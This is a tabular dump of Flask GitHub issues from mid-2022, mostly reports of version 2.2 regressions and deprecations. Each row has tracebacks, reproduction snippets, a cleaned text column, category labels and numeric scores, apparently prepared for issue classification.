./venv/lib/python3.1... [TRUNCATED]",,2022-08-12 15:06:24+00:00,2022-08-15 15:40:48+00:00,1,nan,3.0239,flask x doesn t allow to load multiple app at the same time how to reproduce running this code raises a venv lib python site packages flask ctx py in pop self app do teardown request exc venv lib python site packages flask app py in do teardown request for name in chain request blueprints none venv lib python site packages werkzeug local py in get obj instance get current object type ignore misc venv lib python site packages werkzeug local py in get current object raise runtimeerror unbound message from none e runtimeerror working outside of request context e e this typically means that you attempted to use functionality that needed e an active http request consult the documentation on testing for e information about how to avoid this problem during handling of the above exception another exception occurred in test login with app test client as app client app test client as app client venv lib python truncated,others,-0.4981
pallets/flask,1332662664,"""removed"" misspelled in deprecation warning","See: https://github.com/pallets/flask/blob/5775d1e9b1a031c7bc3bf1463acb3289594ab3e4/src/flask/globals.py#L91

and one more instance a bit below that one.",,2022-08-09 03:37:43+00:00,2022-08-09 14:04:15+00:00,0,nan,0.4351,removed misspelled in deprecation warning see and one more instance a bit below that one,others,-0.34
pallets/flask,1332170556,TypeError: send_file() got an unexpected keyword argument 'attachment_filename',"Old code start throwing this exception:
`TypeError: send_file() got an unexpected keyword argument 'attachment_filename'`",,2022-08-08 17:25:10+00:00,2022-08-08 17:30:22+00:00,1,nan,0.0036,typeerror send file got an unexpected keyword argument attachment filename old code start throwing this exception,bug,-0.0772
pallets/flask,1330704824,Support mounting apps other than '/' for Debug mode with Werkzeug development server (or add workaround in docs),"Mounting apps on a path other than root ('/'), e.g. '/test' is apparently not supported by the Flask Debug Mode (using Werkzeug), nor does it appear to be documented explicitly. A bit of searching led me to:

- Blog from 2020:  https://dlukes.github.io/flask-wsgi-url-prefix.html
- Issue from 2018: https://github.com/pallets/flask/issues/2759 (Solution with DispatcherMiddleware: https://github.com/pallets/flask/issues/2759#issuecomment-386887290)

I'd like to request that a short section be added in e.g.

- https://flask.palletsprojects.com/en/2.2.x/quickstart/#a-minimal-application
- https://flask.palletsprojects.com/en/2.2.x/quickstart/#debug-mode
- https://flask.palletsprojects.com/en/2.2.x/cli/#run-the-development-server

that would point out this ""limitation"" (along the lines of ""Flask Debug Mode / Werkzeug do not support mount points, since the  WSGI variable `SCRIPT_NAME` is not supported"") and maybe show an example using DispatcherMiddleware.

Also, maybe a CLI option like ""--mount"" for `flask` is feasible?

The other option is running the app script directly (not via `flask run`), which is what I am currently using:

```
if __name__ == ""__main__"":
    # from https://dlukes.github.io/flask-wsgi-url-prefix.html
    from werkzeug.middleware.dispatcher import DispatcherMiddleware
    from werkzeug.wrappers import Response
    app.wsgi_app = DispatcherMiddleware(
        Response('Not Found', status=404),
        {'/test': app.wsgi_app}
    )

  ... [TRUNCATED]",,2022-08-06 09:38:26+00:00,2022-08-06 13:00:50+00:00,1,nan,0.1406,support mounting apps other than for debug mode with werkzeug development server or add workaround in docs mounting apps on a path other than root e g test is apparently not supported by the flask debug mode using werkzeug nor does it appear to be documented explicitly a bit of searching led me to blog from issue from solution with dispatchermiddleware i d like to request that a short section be added in e g that would point out this limitation along the lines of flask debug mode werkzeug do not support mount points since the wsgi variable is not supported and maybe show an example using dispatchermiddleware also maybe a cli option like mount for is feasible the other option is running the app script directly not via which is what i am currently using if name main from from werkzeug middleware dispatcher import dispatchermiddleware from werkzeug wrappers import response app wsgi app dispatchermiddleware response not found status test app wsgi app truncated,bug,0.7412
pallets/flask,1330608815,No backward compatible way to access flask.globals.request_ctx,"Accessing `flask._request_ctx_stack` in Flask `2.2+` results in a `DeprecationWarning` recommending
`flask.globals.request_ctx`. However, this is not available in previous versions. For extensions that support < 2.2 this means that the usage can't be simply upgraded.

I went with a conditional based on the import like [this](https://github.com/alisaifee/flask-limiter/blob/master/flask_limiter/_compat.py) - but wondering if there is a better way? (I realize this isn't exactly a bug, but it didn't quite fit the criteria of a general usage question either).


Environment:

- Python version: 3.10
- Flask version: 2.2.1
",,2022-08-06 01:59:13+00:00,2022-08-06 02:02:13+00:00,1,nan,0.0021,no backward compatible way to access flask globals request ctx accessing in flask results in a recommending however this is not available in previous versions for extensions that support this means that the usage can t be simply upgraded i went with a conditional based on the import like this but wondering if there is a better way i realize this isn t exactly a bug but it didn t quite fit the criteria of a general usage question either environment python version flask version,feature,0.6746
pallets/flask,1328696820,Wrong default value for FLASK_ENV,"Previously, if `FLASK_ENV` was not set, it would default to `""production""`, now it defaults to `""development""`.

Reproduction:

```python
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    print(f""{app.config.get('ENV')=}"")
    return ""<p>Hello, World!</p>""
```

Run using gunicorn, `gunicorn flask_demo.app:app` with `FLASK_ENV` unset,

Flask 2.2.1, this handler prints:
`app.config.get('ENV')='development'`

downgrade to 2.1.0:
`app.config.get('ENV')='production'`

I assume this due to  #4720, `src/flask/app.py:693`

Environment:

- Python version: 3.10.4
- Flask version: 2.2.1",,2022-08-04 14:08:55+00:00,2022-08-04 14:29:14+00:00,1,nan,0.0141,wrong default value for flask env previously if was not set it would default to now it defaults to reproduction run using gunicorn with unset flask this handler prints downgrade to i assume this due to environment python version flask version,others,-0.1779
pallets/flask,1328537495,Tests failing on latest Flask version 2.2.1,"Hi All,
I am working on a Flask project and suddenly my unit tests start failing on the latest flask version `2.2.1`
Got following error while running [tox](https://pypi.org/project/tox/) command 

> /usr/lib/python3.8/doctest.py:939: in find
    self._find(tests, obj, name, module, source_lines, globs, {})
.tox/tests/lib/python3.8/site-packages/_pytest/doctest.py:533: in _find
    super()._find(  # type:ignore[misc]
/usr/lib/python3.8/doctest.py:998: in _find
    if ((inspect.isroutine(inspect.unwrap(val))
.tox/tests/lib/python3.8/site-packages/_pytest/doctest.py:475: in _mock_aware_unwrap
    return real_unwrap(func, stop=_is_mocked)
/usr/lib/python3.8/inspect.py:520: in unwrap
    while _is_wrapper(func):
/usr/lib/python3.8/inspect.py:514: in _is_wrapper
    return hasattr(f, '__wrapped__') and not stop(f)
.tox/tests/lib/python3.8/site-packages/werkzeug/local.py:316: in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
.tox/tests/lib/python3.8/site-packages/werkzeug/local.py:509: in _get_current_object
    raise RuntimeError(unbound_message) from None
E   RuntimeError: Working outside of request context.
E   
E   This typically means that you attempted to use functionality that needed
E   an active HTTP request. Consult the documentation on testing for
E   information about how to avoid this problem.

When I changed my flask version back to `2.1.3` it started working again. 
",,2022-08-04 12:20:50+00:00,2022-08-04 13:08:42+00:00,3,nan,0.0332,tests failing on latest flask version hi all i am working on a flask project and suddenly my unit tests start failing on the latest flask version got following error while running tox command usr lib python doctest py in find self find tests obj name module source lines globs tox tests lib python site packages pytest doctest py in find super find type ignore misc usr lib python doctest py in find if inspect isroutine inspect unwrap val tox tests lib python site packages pytest doctest py in mock aware unwrap return real unwrap func stop is mocked usr lib python inspect py in unwrap while is wrapper func usr lib python inspect py in is wrapper return hasattr f wrapped and not stop f tox tests lib python site packages werkzeug local py in get obj instance get current object type ignore misc tox tests lib python site packages werkzeug local py in get current object raise runtimeerror unbound message from none e runtimeerror working outside of request context e e this typically means that you attempted to use functionality that needed e an active http request consult the documentation on testing for e information about how to avoid this problem when i changed my flask version back to it started working again,others,-0.9629
pallets/flask,1328443926,Compatibility problems with freezegun,"Flask 2.2.* session expiry time handling has a difficult relationship with Freezegun + Pendulum + MySQL SQLAlchemy.  Yeah I know the combination looks pretty strange,  but they seem to have really difficult relation when they are all together :).

I know it's not a Flask isssue, but looking at how popular freezegun (and pendulum) are, this might be somethng you want to consider reverting, especialy that it should have no negative side effects.

You can see more details and discussion in https://github.com/apache/airflow/pull/25511#issuecomment-1204297524 but in short Flask 2.2 release started to break our tests in our ""canary"" tests in Airflow - and after deeper investigation it turned out (besides new deprecation warnings that are fine) that the session expiry handling does not work with certain combinations of FreezeGun and Pendulum datetime (and MySQL SQLAlchemy).

This boiled down to this change:

Flask 2.1.2:
```
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> t.Optional[datetime]:
        if session.permanent:
            return datetime.utcnow() + app.permanent_session_lifetime
        return None
```

Flask 2.2.0:

```
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> t.Optional[datetime]:
        if session.permanent:
            return datetime.now(timezone.utc) + app.permanent_session_lifetime
        return None
```

While looking as reasonable change, the pr... [TRUNCATED]",,2022-08-04 10:54:57+00:00,2022-08-04 13:06:22+00:00,5,nan,0.0913,compatibility problems with freezegun flask session expiry time handling has a difficult relationship with freezegun pendulum mysql sqlalchemy yeah i know the combination looks pretty strange but they seem to have really difficult relation when they are all together i know it s not a flask isssue but looking at how popular freezegun and pendulum are this might be somethng you want to consider reverting especialy that it should have no negative side effects you can see more details and discussion in but in short flask release started to break our tests in our canary tests in airflow and after deeper investigation it turned out besides new deprecation warnings that are fine that the session expiry handling does not work with certain combinations of freezegun and pendulum datetime and mysql sqlalchemy this boiled down to this change flask flask while looking as reasonable change the pr truncated,bug,-0.8771
pallets/flask,1327923194,Not clear that Flask.run is threaded by default.,"
Flask.run sets threaded=True as the default when calling werkzeug.serving.run_simple. This wasn't mentioned in the function docstring, which only refers me on to werkzeug.serving.run_simple, where the default is threaded=False. So it surprised me when my non-thread-safe code behaved weirdly.

- Python version: 3.8.10
- Flask version: 2.2.1
",docs,2022-08-04 00:32:24+00:00,2022-08-04 00:37:57+00:00,1,docs,0.0039,not clear that flask run is threaded by default flask run sets threaded true as the default when calling werkzeug serving run simple this wasn t mentioned in the function docstring which only refers me on to werkzeug serving run simple where the default is threaded false so it surprised me when my non thread safe code behaved weirdly python version flask version,documentation,0.5415
pallets/flask,1327410999,Version 2.2.0 crashes when using app.test_client() as a context-manager in multi-threaded tests,"The following code defines a simple app, and queries it from a test that uses threads:

```py
import threading

from flask import Flask
import pytest


def create_app():
    app = Flask(__name__)

    @app.route(""/hi"", methods=[""POST""])
    def hello():
        return ""Hello, World!""

    return app


@pytest.fixture()
def app():
    app = create_app()
    yield app


@pytest.fixture()
def client(app):
    with app.test_client() as client:
        yield client


def test_request_example(client):
    successes = 0

    def f():
        nonlocal successes
        response = client.post(""/hi"")
        assert ""Hello, World!"" == response.text
        successes += 1

    thread = threading.Thread(target=f)
    thread.start()
    thread.join()

    f()

    assert successes == 2
```

When running with pytest on Flask 2.1.3, this test passes:

```
========================================================================= test session starts ==========================================================================
platform linux -- Python 3.9.2, pytest-7.1.2, pluggy-0.13.0
rootdir: /home/dev/swh-environment/swh-indexer, configfile: pytest.ini
plugins: asyncio-0.18.3, requests-mock-1.9.3, django-4.5.2, xdist-2.5.0, swh.core-2.13, mock-3.8.2, django-test-migrations-1.2.0, flask-1.2.0, redis-2.4.0, hypothesis-6.49.1, cov-3.0.0, subtesthack-0.1.2, forked-1.3.0, postgresql-3.1.3, swh.journal-0.8.1.dev3+gf92d4ac
asyncio: mode=strict
c... [TRUNCATED]",,2022-08-03 15:30:10+00:00,2022-08-03 15:40:45+00:00,1,nan,0.0073,version crashes when using app test client as a context manager in multi threaded tests the following code defines a simple app and queries it from a test that uses threads when running with pytest on flask this test passes test session starts platform linux python pytest pluggy rootdir home dev swh environment swh indexer configfile pytest ini plugins asyncio requests mock django xdist swh core mock django test migrations flask redis hypothesis cov subtesthack forked postgresql swh journal dev gf d ac asyncio mode strict c truncated,bug,-0.6808
pallets/flask,1327268050,Incorrect PR reference for JSON-related changes in flask 2.2.0 release note,"All JSON-related changes in [CHANGES.rst](https://github.com/pallets/flask/blob/main/CHANGES.rst) point to a seemingly random issue #4688. I guess these changes should point to some other PR(s), possibly #4692



Environment:

- Python version: N/A
- Flask version: 2.2.0
",docs,2022-08-03 14:00:11+00:00,2022-08-03 17:02:30+00:00,1,docs,0.1266,incorrect pr reference for json related changes in flask release note all json related changes in changes rst point to a seemingly random issue i guess these changes should point to some other pr s possibly environment python version n a flask version,documentation,0.0
pallets/flask,1327226619,Flask 2.2.0 not compatible with flask-mongoengine 1.0.0,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.

-->

**Describe how to replicate the bug.**

```
self.db = MongoEngine(app)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/__init__.py"", line 102, in __init__
    self.init_app(app, config)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/__init__.py"", line 113, in init_app
    override_json_encoder(app)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/json.py"", line 38, in override_json_encoder
    app.json_encoder = _make_encoder(app.json_encoder)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/json.py"", line 8, in _make_encoder
    class MongoEngineJSONEncoder(superclass):
TypeError: NoneType takes no arguments
```

**Describe the expected behavior that should have happened but didn't.**

Should not throw any error while running flask
Environment: MAC M1

- Python version:3.9
- Flask version:2.2.0
",,2022-08-03 13:32:33+00:00,2022-08-03 17:02:25+00:00,2,nan,0.1457,flask not compatible with flask mongoengine this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug describe the that should have happened but didn t should not throw any error while running flask environment mac m python version flask version,others,0.2071
pallets/flask,1327173134,request causes doctest to fail,"
<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Congrats on the release of Flask 2.2.0🎉

I noticed some weird behavior.

## Environment:

- Python version: 3.8.6
- Flask version: 2.2.0
- nose 1.3.7

## Procedure:

1. Create the following file as `example.py`

```python
from flask import request


def awesome_function():
    return ""spam""
```

2. Run `nosetests` with doctests

```
$ nosetests --with-doctest -v
```

## AS IS: `nosetests` fail

```
Failure: RuntimeError (Working outside of request context.

This typically means that you attempted to use functionality that needed
an active HTTP request. Consult the documentation on testing for
information about how to avoid this problem.) ... ERROR

======================================================================
ERROR: Failure: RuntimeError (Working outside of request context.

This typically means that you attempted to use functionality that needed
an active HTTP request. Consult the documentation on testing for
information about how to avoid this problem.)... [TRUNCATED]",,2022-08-03 12:51:30+00:00,2022-08-03 12:55:31+00:00,1,nan,0.0028,request causes doctest to fail this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t congrats on the release of flask i noticed some weird behavior environment python version flask version nose procedure create the following file as run with doctests as is fail failure runtimeerror working outside of request context this typically means that you attempted to use functionality that needed an active http request consult the documentation on testing for information about how to avoid this problem error error failure runtimeerror working outside of request context this typically means that you attempted to use functionality that needed an active http request consult the documentation on testing for information about how to avoid this problem truncated,feature,-0.9817
pallets/flask,1326644970,Flask does not propagate exceptions to external debugger,"External debuggers like VSCode can't catch exceptions because the Werkzeug server runs with `passthrough_errors` set to `False` even though `PROPAGATE_EXCEPTIONS` config in Flask is set to `True`.

This issue has been previously reported #1674 and solved #1679, and later it was reverted #2006 to fix another issue. It seems like it was a temporary revert, but has not been revisited since.",,2022-08-03 03:59:34+00:00,2022-08-03 13:40:52+00:00,6,nan,0.4037,flask does not propagate exceptions to external debugger external debuggers like vscode can t catch exceptions because the werkzeug server runs with set to even though config in flask is set to this issue has been previously reported and solved and later it was reverted to fix another issue it seems like it was a temporary revert but has not been revisited since,bug,0.5859
pallets/flask,1325854662,`Flask test` does not work (tables not created) after 2.2.0 update,"With Flask 2.1.0 :

```bash
$ flask test
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                           
...
===================================================================== 29 passed, 5 warnings in 15.65s ======================================================================
```

With Flask 2.2.0 :

```bash
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                                                                                                         

test/test_accessibility.py::TestAccessibility::test_admin_accessibility ERROR
test/test_accessibility.py::TestAccessibility::test_client_accessibility ERROR
...
========================================================================= ... [TRUNCATED]",,2022-08-02 13:24:08+00:00,2022-08-02 13:30:56+00:00,1,nan,0.0047,does not work tables not created after update with flask with flask bash test session starts platform darwin python pytest pluggy users antoine documents git portail venv bin python cachedir pytest cache rootdir users antoine documents git portail collected items test test accessibility py testaccessibility test admin accessibility error test test accessibility py testaccessibility test client accessibility error truncated,others,-0.7744
pallets/flask,1325659517,Flask test does not work after 2.2.0 update (with sqlalchemy dependency),"With Flask 2.1.0 :

```bash
$ flask test
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                           
...
===================================================================== 29 passed, 5 warnings in 15.65s ======================================================================
```

With Flask 2.2.0 :

```bash
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                                                                                                         

test/test_accessibility.py::TestAccessibility::test_admin_accessibility ERROR
test/test_accessibility.py::TestAccessibility::test_client_accessibility ERROR
...
========================================================================= ... [TRUNCATED]",,2022-08-02 10:43:07+00:00,2022-08-02 12:44:44+00:00,3,nan,0.0845,flask test does not work after update with sqlalchemy dependency with flask with flask bash test session starts platform darwin python pytest pluggy users antoine documents git portail venv bin python cachedir pytest cache rootdir users antoine documents git portail collected items test test accessibility py testaccessibility test admin accessibility error test test accessibility py testaccessibility test client accessibility error truncated,others,-0.7184
pallets/flask,1325483926,cannot import name 'request_ctx' from 'flask.globals',"Environment:

- Python version: 3.9.2
- Flask version: 2.2.0

Updating from Flask 2.1.2 to 2.2. (without changes my sources, I got this error:

    File ""../venv/lib/python3.9/site-packages/werkzeug/utils.py"", line 109, in __get__
    value = self.fget(obj)  # type: ignore
    File ""../venv/lib/python3.9/site-packages/werkzeug/wrappers/request.py"", line 428, in form
    self._load_form_data()
    File ""../venv/lib/python3.9/site-packages/flask/wrappers.py"", line 122, in _load_form_data
    from .debughelpers import attach_enctype_error_multidict
    File ""../venv/lib/python3.9/site-packages/flask/debughelpers.py"", line 5, in <module>
    from .globals import request_ctx
    ImportError: cannot import name 'request_ctx' from 'flask.globals' (../venv/lib/python3.9/site-packages/flask/globals.py)
",,2022-08-02 08:34:10+00:00,2022-08-02 13:05:50+00:00,1,nan,0.1887,cannot import name request ctx from flask globals environment python version flask version updating from flask to without changes my sources i got this error file venv lib python site packages werkzeug utils py line in get value self fget obj type ignore file venv lib python site packages werkzeug wrappers request py line in form self load form data file venv lib python site packages flask wrappers py line in load form data from debughelpers import attach enctype error multidict file venv lib python site packages flask debughelpers py line in from globals import request ctx importerror cannot import name request ctx from flask globals venv lib python site packages flask globals py,feature,-0.7964
pallets/flask,1323253992,deprecate most config attributes,"The `Flask` app object has some ""config attributes"", properties that are shortcuts to getting/setting certain `app.config` keys. There doesn't seem to be much consistency to which keys are exposed as attributes, and most of them don't seem useful as attributes.

* `debug`, `testing`, and `secret_key` These should stay for now, they are shortcuts for common enough situations.
* `session_cookie_name` It's not clear why this is an attribute. None of the other session cookie options are exposed as attributes, and it seems much more common to want to change those.
* `permanent_session_lifetime` I think this is an attribute only so that it doesn't have to be converted from int to timedelta in two places. However, just like the name, this doesn't seem like something that belongs as an attribute more than the other options.
* `send_file_max_age_default` Again this does a conversion from int to timedelta. But it's only used in one place, `get_send_file_max_age`.
* `use_x_sendfile` This only works when behind a correctly configured Apache server, not any other server setup. It's not clear why this should be an attribute, it's a very niche case.
* `env` This is going away with #4714 
* `propagate_exceptions` is only used in `handle_exception`, and is a very internal behavior. This property can't be set, but it does have some logic to fall back to `testing` or `debug`. 
* `templates_auto_reload` I added this as part of making setting debug reset the property on the Jinja env. Ho... [TRUNCATED]",,2022-07-30 18:15:19+00:00,2022-08-02 00:04:13+00:00,1,nan,2.2423,deprecate most config attributes the app object has some config attributes properties that are shortcuts to getting setting certain keys there doesn t seem to be much consistency to which keys are exposed as attributes and most of them don t seem useful as attributes and these should stay for now they are shortcuts for common enough situations it s not clear why this is an attribute none of the other session cookie options are exposed as attributes and it seems much more common to want to change those i think this is an attribute only so that it doesn t have to be converted from int to timedelta in two places however just like the name this doesn t seem like something that belongs as an attribute more than the other options again this does a conversion from int to timedelta but it s only used in one place this only works when behind a correctly configured apache server not any other server setup it s not clear why this should be an attribute it s a very niche case this is going away with is only used in and is a very internal behavior this property can t be set but it does have some logic to fall back to or i added this as part of making setting debug reset the property on the jinja env ho truncated,others,0.1565
pallets/flask,1323224539,remove ability to toggle lazy/eager loading,"When the CLI was first introduced, it would always lazily load the application, and then resolve that lazy import the first time the app was needed. For the `run` command, in debug mode, that would be _after_ the server started, so that errors would show up in the debugger and the reloader would work across errors. This meant that errors wouldn't show up immediately when running the command, which was confusing. The `--eager-loading/--lazy-loading` option controlled whether that was disabled/enabled regardless of debug mode.

Later, this behavior was changed so that the app is always eagerly loaded the first time, and only lazily loaded on reloads. This makes errors show up consistently when running any command, including `run`, while still allowing the reloader to work across errors.

There shouldn't be a reason now to control loading. Errors will always be shown immediately in the terminal when a command is run. Lazy loading should always be used within the reloader to handle errors.",cli,2022-07-30 17:13:39+00:00,2022-08-01 17:44:32+00:00,0,cli,2.0214,remove ability to toggle lazy eager loading when the cli was first introduced it would always lazily load the application and then resolve that lazy import the first time the app was needed for the command in debug mode that would be after the server started so that errors would show up in the debugger and the reloader would work across errors this meant that errors wouldn t show up immediately when running the command which was confusing the option controlled whether that was disabled enabled regardless of debug mode later this behavior was changed so that the app is always eagerly loaded the first time and only lazily loaded on reloads this makes errors show up consistently when running any command including while still allowing the reloader to work across errors there shouldn t be a reason now to control loading errors will always be shown immediately in the terminal when a command is run lazy loading should always be used within the reloader to handle errors,others,-0.9455
pallets/flask,1323121988,deprecate `FLASK_ENV`,"Nothing in Flask ever ended up using `FLASK_ENV`/`app.env` specifically. It adds a layer of complexity to the already confusing ways that `app.debug` and `app.testing` can affect what happens internally. It's already possible to control debug mode, the debugger, and the reloader individually, there's no need for this extra switch.

Feedback from users on the Discord channel, and observation of questions on Stack Overflow, suggests this env var is a source of confusion or at least extra work. 

`FLASK_ENV=development` is very verbose, and that isn't changing with the introduction of the `--env development` option. It's much shorter to use the `--debug` flag.

The original idea behind `FLASK_ENV` was that it would be used like `NODE_ENV`. Nothing ever came of it though. `NODE_ENV` as it's used with any frontend framework is a build-time flag, it has more meaning when it actually affects how JavaScript gets compiled, which is not something that maps to Python/Flask very well.

https://github.com/pallets/werkzeug/issues/2480 will make the ""don't use the dev server in production"" warning always shown, instead of only in certain situations. With this there will be no current difference between `FLASK_ENV=development` and `FLASK_DEBUG=1`. It is also generally redundant given that the dev server should never be run in production, and `FLASK_ENV` is probably only given when running the dev server.
",,2022-07-30 14:22:47+00:00,2022-08-01 22:19:17+00:00,5,nan,2.3309,deprecate nothing in flask ever ended up using specifically it adds a layer of complexity to the already confusing ways that and can affect what happens internally it s already possible to control debug mode the debugger and the reloader individually there s no need for this extra switch feedback from users on the discord channel and observation of questions on stack overflow suggests this env var is a source of confusion or at least extra work is very verbose and that isn t changing with the introduction of the option it s much shorter to use the flag the original idea behind was that it would be used like nothing ever came of it though as it s used with any frontend framework is a build time flag it has more meaning when it actually affects how javascript gets compiled which is not something that maps to python flask very well will make the don t use the dev server in production warning always shown instead of only in certain situations with this there will be no current difference between and it is also generally redundant given that the dev server should never be run in production and is probably only given when running the dev server,others,-0.5118
pallets/flask,1316587539,Fix Versions in setup.py with == not >=,"Hi since the last release from Werkzeug, installing requirements from flask breaks the env/dockercontainer. 
It seems like Werkzeug has moved some files.
Werkzeug's 2.2.0 Update: flask_login/utils.py line 14 - ImportError: cannot import name 'parse_rule' from 'werkzeug.routing'

This is already the 2nd time this year, an update in Werkzeug is breaking flask. 

We would really apprciate if you could use == in setup.py and not only in the requirements for tox to make using flask more stable and convient. Current it is up to us to pin Werkzeug to 2.1.2 before the modules has been moved. 

The setup requirments of Flask 2.1.3, the current release, are currently wrong as this version requires Werkzeug <2.2.0 but Werkzeug>=2.0.0.

This would clearly increase the user experience as the user does not need to pin the version until a new flask version is released dealing with the change in Werkzeug.

Pip install flask or flask==2.1.3 should ne enough to reproduce the bug.

Expected behaviour, pip install flask should work without manually having pined the requirements of flask

Environment:

- Python version: 3.8 
- Flask version: 2.1.3
",,2022-07-25 10:15:55+00:00,2022-07-25 10:39:10+00:00,1,nan,0.0161,fix versions in setup py with not hi since the last release from werkzeug installing requirements from flask breaks the env dockercontainer it seems like werkzeug has moved some files werkzeug s update flask login utils py line importerror cannot import name parse rule from werkzeug routing this is already the nd time this year an update in werkzeug is breaking flask we would really apprciate if you could use in setup py and not only in the requirements for tox to make using flask more stable and convient current it is up to us to pin werkzeug to before the modules has been moved the setup requirments of flask the current release are currently wrong as this version requires werkzeug this would clearly increase the user experience as the user does not need to pin the version until a new flask version is released dealing with the change in werkzeug pip install flask or flask should ne enough to reproduce the bug expected behaviour pip install flask should work without manually having pined the requirements of flask environment python version flask version,bug,0.7346
pallets/flask,1316011592,Werkzeug's 2.2.0 Update: flask_login/utils.py line 14 - ImportError: cannot import name 'parse_rule' from 'werkzeug.routing',"Werkzeug released a minor update on July 23rd. It seems this update deprecated something that flask login relies on. We've pinned back Werkzeug as a temporary fix.


```
    from flask_login import LoginManager, login_required, UserMixin, login_user, logout_user, current_user, login_fresh, confirm_login
  File ""/usr/local/lib/python3.8/site-packages/flask_login/__init__.py"", line 12, in <module>
    from .login_manager import LoginManager
  File ""/usr/local/lib/python3.8/site-packages/flask_login/login_manager.py"", line 35, in <module>
    from .utils import _create_identifier
  File ""/usr/local/lib/python3.8/site-packages/flask_login/utils.py"", line 14, in <module>
    from werkzeug.routing import parse_rule
ImportError: cannot import name 'parse_rule' from 'werkzeug.routing' (/usr/local/lib/python3.8/site-packages/werkzeug/routing/__init__.py)
```


Environment:

- Python version: 3.8
- Flask version: 2.1.3
",,2022-07-24 21:19:28+00:00,2022-07-24 21:23:45+00:00,2,nan,0.003,werkzeug s update flask login utils py line importerror cannot import name parse rule from werkzeug routing werkzeug released a minor update on july rd it seems this update deprecated something that flask login relies on we ve pinned back werkzeug as a temporary fix environment python version flask version,bug,0.3612
pallets/flask,1315874116,Error: No such option: --app,"**When I was running the tutorial in the example folder accoding to the instructions, it report the following errors.** 
```
$ flask --app flaskr init-db
Usage: flask [OPTIONS] COMMAND [ARGS]...
Try 'flask --help' for help.

Error: No such option: --app
```

**How to replicate the bug.**
```
git clone https://github.com/pallets/flask.git
cp flask/example .
cd example/tutorial
python3 -m venv .
. ./bin/activate
pip3 install -e .
flask --app flaskr init-db
```


**Environment:**

```
$python3 --version
Python 3.10.4

$pip list
Package      Version Editable project location
------------ ------- ---------------------------------------
click        8.1.3
Flask        2.1.3
flaskr       1.0.0   /home/zo/webFramework/examples/tutorial
itsdangerous 2.1.2
Jinja2       3.1.2
MarkupSafe   2.1.1
pip          22.0.2
setuptools   59.6.0
Werkzeug     2.2.0
```",,2022-07-24 10:56:51+00:00,2022-07-24 11:02:55+00:00,1,nan,0.0042,error no such option app when i was running the tutorial in the example folder accoding to the instructions it report the following errors how to replicate the bug environment,bug,-0.8625
pallets/flask,1313074586,url_for: Allow overriding default values,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

Sometimes defining a route the default path values can be set for the user convenience.
In the same time several usage example can be needed to show on a ""help"" page.
The most popular way to generate a URL is `url_for`.
However, it seems that it is impossible to generate the URL with the path arguments having the default value.

Firstly, I have asked a [question](https://stackoverflow.com/q/73028511/8854890) about it on StackOverflow. But no other way to override has been introduced.

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->

(It is a simplified example that reproduce the problem.)

I have `@app.route(""/api/<a>/<b>"", defaults={""a"": ""A0"", ""b"": ""B0""})`

I want to generate the following URL: `/api/A0/B1` (in other word, with the overridden argument `b`).

The most obvious to me approach: `flask.url_for(route.endpoint, **{""b"": ""B1""})`.
It causes `werkzeug.routing.BuildError: Could not build url for endpoint 'SOME_ENDPOINT' with values ['b']. Did you forget to specify values ['a']?`

The next approach: `flask.url_for(route.endpoint, **{""a"": ""A0"", ""b"": ""B1""})`.
It causes `werkzeug.routing.BuildError: Could not build url for endpoint 'index.API.event_avera... [TRUNCATED]",,2022-07-21 10:59:21+00:00,2022-07-21 13:53:11+00:00,0,nan,0.1207,url for allow overriding default values replace this comment with a description of what the feature should do include details such as links to relevant specs or previous discussions sometimes defining a route the default path values can be set for the user convenience in the same time several usage example can be needed to show on a help page the most popular way to generate a url is however it seems that it is impossible to generate the url with the path arguments having the default value firstly i have asked a question about it on stackoverflow but no other way to override has been introduced replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension it is a simplified example that reproduce the problem i have i want to generate the following url in other word with the overridden argument the most obvious to me approach it causes the next approach it causes werkzeug routing builderror could not build url for endpoint index api event avera truncated,others,-0.7966
